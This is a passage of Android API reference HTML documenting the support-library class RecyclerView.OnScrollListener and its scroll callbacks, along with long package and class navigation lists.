<a href="../../../../../reference/android/support/v4/text/package-summary.html">android.support.v4.text</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/util/package-summary.html">android.support.v4.util</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/view/package-summary.html">android.support.v4.view</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/view/accessibility/package-summary.html">android.support.v4.view.accessibility</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/view/animation/package-summary.html">android.support.v4.view.animation</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v4/widget/package-summary.html">android.support.v4.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/app/package-summary.html">android.support.v7.app</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/appcompat/package-summary.html">android.support.v7.appcompat</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/cardview/package-summary.html">android.support.v7.cardview</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/graphics/package-summary.html">android.support.v7.graphics</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/graphics/drawable/package-summary.html">android.support.v7.graphics.drawable</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/gridlayout/package-summary.html">android.support.v7.gridlayout</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/media/package-summary.html">android.support.v7.media</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/mediarouter/package-summary.html">android.support.v7.mediarouter</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/preference/package-summary.html">android.support.v7.preference</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/recyclerview/package-summary.html">android.support.v7.recyclerview</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/util/package-summary.html">android.support.v7.util</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/view/package-summary.html">android.support.v7.view</a></li>
<li class="selected api apilevel-">
<a href="../../../../../reference/android/support/v7/widget/package-summary.html">android.support.v7.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/widget/helper/package-summary.html">android.support.v7.widget.helper</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v7/widget/util/package-summary.html">android.support.v7.widget.util</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/android/support/v8/renderscript/package-summary.html">android.support.v8.renderscript</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/system/package-summary.html">android.system</a></li>
<li class="api apilevel-21">
<a href="../../../../../reference/android/telecom/package-summary.html">android.telecom</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/telephony/package-summary.html">android.telephony</a></li>
<li class="api apilevel-5">
<a href="../../../../../reference/android/telephony/cdma/package-summary.html">android.telephony.cdma</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/telephony/gsm/package-summary.html">android.telephony.gsm</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/test/package-summary.html">android.test</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/test/mock/package-summary.html">android.test.mock</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/test/suitebuilder/package-summary.html">android.test.suitebuilder</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/test/suitebuilder/annotation/package-summary.html">android.test.suitebuilder.annotation</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/text/package-summary.html">android.text</a></li>
<li class="api apilevel-3">
<a href="../../../../../reference/android/text/format/package-summary.html">android.text.format</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/text/method/package-summary.html">android.text.method</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/text/style/package-summary.html">android.text.style</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/text/util/package-summary.html">android.text.util</a></li>
<li class="api apilevel-19">
<a href="../../../../../reference/android/transition/package-summary.html">android.transition</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/util/package-summary.html">android.util</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/view/package-summary.html">android.view</a></li>
<li class="api apilevel-4">
<a href="../../../../../reference/android/view/accessibility/package-summary.html">android.view.accessibility</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/view/animation/package-summary.html">android.view.animation</a></li>
<li class="api apilevel-3">
<a href="../../../../../reference/android/view/inputmethod/package-summary.html">android.view.inputmethod</a></li>
<li class="api apilevel-14">
<a href="../../../../../reference/android/view/textservice/package-summary.html">android.view.textservice</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/webkit/package-summary.html">android.webkit</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/android/widget/package-summary.html">android.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/com/android/internal/backup/package-summary.html">com.android.internal.backup</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/com/android/internal/logging/package-summary.html">com.android.internal.logging</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/com/android/internal/os/package-summary.html">com.android.internal.os</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/com/android/internal/statusbar/package-summary.html">com.android.internal.statusbar</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/com/android/internal/widget/package-summary.html">com.android.internal.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../reference/com/android/test/runner/package-summary.html">com.android.test.runner</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/dalvik/annotation/package-summary.html">dalvik.annotation</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/dalvik/bytecode/package-summary.html">dalvik.bytecode</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/dalvik/system/package-summary.html">dalvik.system</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/awt/font/package-summary.html">java.awt.font</a></li>
<li class="api apilevel-3">
<a href="../../../../../reference/java/beans/package-summary.html">java.beans</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/io/package-summary.html">java.io</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/lang/package-summary.html">java.lang</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/lang/annotation/package-summary.html">java.lang.annotation</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/lang/ref/package-summary.html">java.lang.ref</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/lang/reflect/package-summary.html">java.lang.reflect</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/math/package-summary.html">java.math</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/net/package-summary.html">java.net</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/nio/package-summary.html">java.nio</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/nio/channels/package-summary.html">java.nio.channels</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/nio/channels/spi/package-summary.html">java.nio.channels.spi</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/nio/charset/package-summary.html">java.nio.charset</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/nio/charset/spi/package-summary.html">java.nio.charset.spi</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/security/package-summary.html">java.security</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/security/acl/package-summary.html">java.security.acl</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/security/cert/package-summary.html">java.security.cert</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/security/interfaces/package-summary.html">java.security.interfaces</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/security/spec/package-summary.html">java.security.spec</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/sql/package-summary.html">java.sql</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/text/package-summary.html">java.text</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/package-summary.html">java.util</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/concurrent/package-summary.html">java.util.concurrent</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/concurrent/atomic/package-summary.html">java.util.concurrent.atomic</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/concurrent/locks/package-summary.html">java.util.concurrent.locks</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/jar/package-summary.html">java.util.jar</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/logging/package-summary.html">java.util.logging</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/prefs/package-summary.html">java.util.prefs</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/regex/package-summary.html">java.util.regex</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/java/util/zip/package-summary.html">java.util.zip</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/crypto/package-summary.html">javax.crypto</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/crypto/interfaces/package-summary.html">javax.crypto.interfaces</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/crypto/spec/package-summary.html">javax.crypto.spec</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/microedition/khronos/egl/package-summary.html">javax.microedition.khronos.egl</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/microedition/khronos/opengles/package-summary.html">javax.microedition.khronos.opengles</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/net/package-summary.html">javax.net</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/net/ssl/package-summary.html">javax.net.ssl</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/security/auth/package-summary.html">javax.security.auth</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/security/auth/callback/package-summary.html">javax.security.auth.callback</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/security/auth/login/package-summary.html">javax.security.auth.login</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/security/auth/x500/package-summary.html">javax.security.auth.x500</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/security/cert/package-summary.html">javax.security.cert</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/sql/package-summary.html">javax.sql</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/xml/package-summary.html">javax.xml</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/datatype/package-summary.html">javax.xml.datatype</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/namespace/package-summary.html">javax.xml.namespace</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/javax/xml/parsers/package-summary.html">javax.xml.parsers</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/transform/package-summary.html">javax.xml.transform</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/transform/dom/package-summary.html">javax.xml.transform.dom</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/transform/sax/package-summary.html">javax.xml.transform.sax</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/transform/stream/package-summary.html">javax.xml.transform.stream</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/validation/package-summary.html">javax.xml.validation</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/javax/xml/xpath/package-summary.html">javax.xml.xpath</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/junit/framework/package-summary.html">junit.framework</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/junit/runner/package-summary.html">junit.runner</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/apache/http/conn/package-summary.html">org.apache.http.conn</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/apache/http/conn/scheme/package-summary.html">org.apache.http.conn.scheme</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/apache/http/conn/ssl/package-summary.html">org.apache.http.conn.ssl</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/apache/http/params/package-summary.html">org.apache.http.params</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/json/package-summary.html">org.json</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/w3c/dom/package-summary.html">org.w3c.dom</a></li>
<li class="api apilevel-8">
<a href="../../../../../reference/org/w3c/dom/ls/package-summary.html">org.w3c.dom.ls</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/xml/sax/package-summary.html">org.xml.sax</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/xml/sax/ext/package-summary.html">org.xml.sax.ext</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/xml/sax/helpers/package-summary.html">org.xml.sax.helpers</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/xmlpull/v1/package-summary.html">org.xmlpull.v1</a></li>
<li class="api apilevel-1">
<a href="../../../../../reference/org/xmlpull/v1/sax2/package-summary.html">org.xmlpull.v1.sax2</a></li>
</ul><br/>
</div> <!-- end packages-nav -->
</div> <!-- end resize-packages -->
<div id="classes-nav" class="scroll-pane">
<ul>
<li><h2>Interfaces</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ActionMenuView.OnMenuItemClickListener.html">ActionMenuView.OnMenuItemClickListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/PopupMenu.OnDismissListener.html">PopupMenu.OnDismissListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/PopupMenu.OnMenuItemClickListener.html">PopupMenu.OnMenuItemClickListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.ChildDrawingOrderCallback.html">RecyclerView.ChildDrawingOrderCallback</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.ItemAnimator.ItemAnimatorFinishedListener.html">RecyclerView.ItemAnimator.ItemAnimatorFinishedListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.OnChildAttachStateChangeListener.html">RecyclerView.OnChildAttachStateChangeListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.OnItemTouchListener.html">RecyclerView.OnItemTouchListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.RecyclerListener.html">RecyclerView.RecyclerListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/SearchView.OnCloseListener.html">SearchView.OnCloseListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/SearchView.OnQueryTextListener.html">SearchView.OnQueryTextListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/SearchView.OnSuggestionListener.html">SearchView.OnSuggestionListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ShareActionProvider.OnShareTargetSelectedListener.html">ShareActionProvider.OnShareTargetSelectedListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ThemedSpinnerAdapter.html">ThemedSpinnerAdapter</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/Toolbar.OnMenuItemClickListener.html">Toolbar.OnMenuItemClickListener</a></li>
</ul>
</li>
<li><h2>Classes</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ActionMenuView.html">ActionMenuView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ActionMenuView.LayoutParams.html">ActionMenuView.LayoutParams</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatAutoCompleteTextView.html">AppCompatAutoCompleteTextView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatButton.html">AppCompatButton</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatCheckBox.html">AppCompatCheckBox</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatCheckedTextView.html">AppCompatCheckedTextView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatEditText.html">AppCompatEditText</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatMultiAutoCompleteTextView.html">AppCompatMultiAutoCompleteTextView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatRadioButton.html">AppCompatRadioButton</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatRatingBar.html">AppCompatRatingBar</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatSpinner.html">AppCompatSpinner</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/AppCompatTextView.html">AppCompatTextView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/CardView.html">CardView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/DefaultItemAnimator.html">DefaultItemAnimator</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayout.html">GridLayout</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayout.Alignment.html">GridLayout.Alignment</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayout.LayoutParams.html">GridLayout.LayoutParams</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayout.Spec.html">GridLayout.Spec</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayoutManager.html">GridLayoutManager</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayoutManager.DefaultSpanSizeLookup.html">GridLayoutManager.DefaultSpanSizeLookup</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayoutManager.LayoutParams.html">GridLayoutManager.LayoutParams</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/GridLayoutManager.SpanSizeLookup.html">GridLayoutManager.SpanSizeLookup</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/LinearLayoutCompat.html">LinearLayoutCompat</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/LinearLayoutCompat.LayoutParams.html">LinearLayoutCompat.LayoutParams</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/LinearLayoutManager.html">LinearLayoutManager</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/LinearLayoutManager.LayoutChunkResult.html">LinearLayoutManager.LayoutChunkResult</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/LinearSmoothScroller.html">LinearSmoothScroller</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ListPopupWindow.html">ListPopupWindow</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/OrientationHelper.html">OrientationHelper</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/PopupMenu.html">PopupMenu</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.html">RecyclerView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.Adapter.html">RecyclerView.Adapter</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.AdapterDataObserver.html">RecyclerView.AdapterDataObserver</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.ItemAnimator.html">RecyclerView.ItemAnimator</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.ItemDecoration.html">RecyclerView.ItemDecoration</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.LayoutManager.html">RecyclerView.LayoutManager</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.LayoutManager.Properties.html">RecyclerView.LayoutManager.Properties</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.LayoutParams.html">RecyclerView.LayoutParams</a></li>
<li class="selected api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.OnScrollListener.html">RecyclerView.OnScrollListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.RecycledViewPool.html">RecyclerView.RecycledViewPool</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.Recycler.html">RecyclerView.Recycler</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.SimpleOnItemTouchListener.html">RecyclerView.SimpleOnItemTouchListener</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.SmoothScroller.html">RecyclerView.SmoothScroller</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.SmoothScroller.Action.html">RecyclerView.SmoothScroller.Action</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.State.html">RecyclerView.State</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.ViewCacheExtension.html">RecyclerView.ViewCacheExtension</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.ViewHolder.html">RecyclerView.ViewHolder</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/RecyclerViewAccessibilityDelegate.html">RecyclerViewAccessibilityDelegate</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/SearchView.html">SearchView</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ShareActionProvider.html">ShareActionProvider</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/Space.html">Space</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/StaggeredGridLayoutManager.html">StaggeredGridLayoutManager</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/StaggeredGridLayoutManager.LayoutParams.html">StaggeredGridLayoutManager.LayoutParams</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/SwitchCompat.html">SwitchCompat</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/ThemedSpinnerAdapter.Helper.html">ThemedSpinnerAdapter.Helper</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/Toolbar.html">Toolbar</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/Toolbar.LayoutParams.html">Toolbar.LayoutParams</a></li>
<li class="api apilevel-"><a href="../../../../../reference/android/support/v7/widget/Toolbar.SavedState.html">Toolbar.SavedState</a></li>
</ul>
</li>
</ul><br/>
</div><!-- end classes -->
</div><!-- end nav-panels -->
<div id="nav-tree" style="display:none" class="scroll-pane">
<div id="tree-list"></div>
</div><!-- end nav-tree -->
</div><!-- end swapper -->
<div id="nav-swap">
<a class="fullscreen">fullscreen</a>
<a href='#' onclick='swapNav();return false;'><span id='tree-link'>Use Tree Navigation</span><span id='panel-link' style='display:none'>Use Panel Navigation</span></a>
</div>
</div> <!-- end devdoc-nav -->
</div> <!-- end side-nav -->
<script type="text/javascript">
// init fullscreen based on user pref
var fullscreen = readCookie("fullscreen");
if (fullscreen != 0) {
if (fullscreen == "false") {
toggleFullscreen(false);
} else {
toggleFullscreen(true);
}
}
// init nav version for mobile
if (isMobile) {
swapNav(); // tree view should be used on mobile
$('#nav-swap').hide();
} else {
chooseDefaultNav();
if ($("#nav-tree").is(':visible')) {
init_default_navtree("../../../../../");
}
}
// scroll the selected page into view
$(document).ready(function() {
scrollIntoView("packages-nav");
scrollIntoView("classes-nav");
});
</script>
<div class="col-12" id="doc-col">
<div id="api-info-block">
<div class="sum-details-links">
Summary:
<a href="#pubctors">Ctors</a>
| <a href="#pubmethods">Methods</a>
| <a href="#inhmethods">Inherited Methods</a>
| <a href="#" onclick="return toggleAllClassInherited()" id="toggleAllClassInherited">[Expand All]</a>
</div><!-- end sum-details-links -->
<div class="api-level">
</div>
</div><!-- end api-info-block -->
<!-- ======== START OF CLASS DATA ======== -->
<div id="jd-header">
public
static
abstract
class
<h1 itemprop="name">RecyclerView.OnScrollListener</h1>
extends <a href="../../../../../reference/java/lang/Object.html">Object</a><br/>
</div><!-- end header -->
<div id="naMessage"></div>
<div id="jd-content" class="api apilevel-">
<table class="jd-inheritance-table">
<tr>
<td colspan="2" class="jd-inheritance-class-cell"><a href="../../../../../reference/java/lang/Object.html">java.lang.Object</a></td>
</tr>
<tr>
<td class="jd-inheritance-space"> ↳</td>
<td colspan="1" class="jd-inheritance-class-cell">android.support.v7.widget.RecyclerView.OnScrollListener</td>
</tr>
</table>
<div class="jd-descr">
<h2>Class Overview</h2>
<p itemprop="articleBody">An OnScrollListener can be set on a RecyclerView to receive messages
when a scrolling event has occurred on that RecyclerView.</p>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">See Also</h5>
<ul class="nolist"><li><code><a href="../../../../../reference/android/support/v7/widget/RecyclerView.html#setOnScrollListener(android.support.v7.widget.RecyclerView.OnScrollListener)">and
RecyclerView#addOnScrollListener(OnScrollListener)
If you are planning to have several listeners at the same time, use
RecyclerView#addOnScrollListener. If there will be only one listener at the time and you
want your components to be able to easily replace the listener use
RecyclerView#setOnScrollListener.
</a></code></li>
</ul>
</div>
</div><!-- jd-descr -->
<div class="jd-descr">
<h2>Summary</h2>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<table id="pubctors" class="jd-sumtable"><tr><th colspan="12">Public Constructors</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.OnScrollListener.html#RecyclerView.OnScrollListener()">RecyclerView.OnScrollListener</a></span>()</nobr>
</td></tr>
</table>
<!-- ========== METHOD SUMMARY =========== -->
<table id="pubmethods" class="jd-sumtable"><tr><th colspan="12">Public Methods</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.OnScrollListener.html#onScrollStateChanged(android.support.v7.widget.RecyclerView, int)">onScrollStateChanged</a></span>(<a href="../../../../../reference/android/support/v7/widget/RecyclerView.html">RecyclerView</a> recyclerView, int newState)</nobr>
<div class="jd-descrdiv">
Callback method to be invoked when RecyclerView's scroll state changes.
</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/android/support/v7/widget/RecyclerView.OnScrollListener.html#onScrolled(android.support.v7.widget.RecyclerView, int, int)">onScrolled</a></span>(<a href="../../../../../reference/android/support/v7/widget/RecyclerView.html">RecyclerView</a> recyclerView, int dx, int dy)</nobr>
<div class="jd-descrdiv">
Callback method to be invoked when the RecyclerView has been scrolled.
</div>
</td></tr>
</table>
<!-- ========== METHOD SUMMARY =========== -->
<table id="inhmethods" class="jd-sumtable"><tr><th>
<a href="#" class="toggle-all" onclick="return toggleAllInherited(this, null)">[Expand]</a>
<div style="clear:left;">Inherited Methods</div></th></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-methods-java.lang.Object" class="jd-expando-trigger closed"
><img id="inherited-methods-java.lang.Object-trigger"
src="../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>
From class
<a href="../../../../../reference/java/lang/Object.html">java.lang.Object</a>
<div id="inherited-methods-java.lang.Object">
<div id="inherited-methods-java.lang.Object-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-methods-java.lang.Object-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-1" >
<td class="jd-typecol"><nobr>
<a href="../../../../../reference/java/lang/Object.html">Object</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#clone()">clone</a></span>()</nobr>
<div class="jd-descrdiv">
Creates and returns a copy of this <code>Object</code>.
</div>
</td></tr>
<tr class=" api apilevel-1" >
<td class="jd-typecol"><nobr>
boolean</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#equals(java.lang.Object)">equals</a></span>(<a href="../../../../../reference/java/lang/Object.html">Object</a> o)</nobr>
<div class="jd-descrdiv">
Compares this instance with the specified object and indicates if they
are equal.
</div>
</td></tr>
<tr class="alt-color api apilevel-1" >
<td class="jd-typecol"><nobr>
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#finalize()">finalize</a></span>()</nobr>
<div class="jd-descrdiv">
Invoked when the garbage collector has detected that this instance is no longer reachable.
</div>
</td></tr>
<tr class=" api apilevel-1" >
<td class="jd-typecol"><nobr>
final
<a href="../../../../../reference/java/lang/Class.html">Class</a><?></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#getClass()">getClass</a></span>()</nobr>
<div class="jd-descrdiv">
Returns the unique instance of <code><a href="../../../../../reference/java/lang/Class.html">Class</a></code> that represents this
object's class.
</div>
</td></tr>
<tr class="alt-color api apilevel-1" >
